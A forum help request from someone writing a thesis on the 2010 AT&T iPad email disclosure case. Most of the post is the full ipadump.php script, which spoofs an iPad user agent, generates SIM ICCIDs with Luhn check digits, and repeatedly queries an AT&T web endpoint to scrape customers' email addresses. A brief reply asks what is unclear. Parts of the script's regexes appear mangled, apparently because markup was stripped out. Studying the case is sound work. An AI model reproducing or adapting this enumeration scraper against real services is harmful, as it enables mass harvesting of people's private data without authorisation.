ipadump understading!!!

Hello:

I doing a thesis on the Aurenheimer case that he disclosed AT&T emails on the web. I need a little bit of helping with the script he and his co-conspirators wrote to do the hack. I’m really a noob on this and part of my thesis is making a simulation of what he did. Any help would be helpful.

Thanks
Victor

PS: The code
[php]

<?php // iPad 3G Account Slurper // // Usage: ./ipadump.php ICCID-base count // (The script generates the final checkdigit to produce ICCIDs from the entered base) $useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad $ICCIDroot = $_SERVER['argv'][1]; $ICCIDcount = $_SERVER['argv'][2]; function genluhn($number){ //Crappy home-made Luhn checkdigit generator $i = strlen($number)-1; do { $array[] = $number[$i]; $i--; } while ($i > -1); $i = 0; foreach ($array as $digit) { if (!($i & 1)){ $digit = $digit * 2; if ($digit >= 10) { $digit = $digit - 9; } } $total += $digit; $i++; } $luhn = 10 - ($total % 10); if ($luhn == 10) $luhn=0; return $luhn; } while (1) { //Continue FOREVER $ch = curl_init(); //Set up cURL curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to the ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&IMEI=0"); $output = curl_exec($ch); //Load first page with ICCID curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer"); $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. cURL is nice and passes the previously GET'd info curl_close($ch); //print $output; //Prints HTML result if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just to keep track of how far the script has gotten //Parse output. Terribly sloppy if (preg_match("/Error<\/title>/", $output, $match)) { preg_match("/
(.*)
(.*)
/msU", $output, $match); $match[0] = preg_replace("/
\n\s\s+/","",$match[0]); $match[0] = preg_replace("/<\/b>
/", "<\/b>
", $match[0]); //Because I want space between the period and the next sentence, dammit $errnum = strip_tags($match[0]); $status = "Error! ".$errnum; //Return specific error message } else if (preg_match("", $output, $match)) { $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\" placeholder=\"Required\" value=\"/","",$match[0]); $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "", $match[0]); //Return email address } else { $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad logic, will fix. } if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log. if ($counter == $ICCIDcount) exit; $ICCIDroot++; //step ICCID $counter++; //step loop counter } ?>

[/php]

You should include what is unclear

Sponsor our Newsletter | Privacy Policy | Terms of Service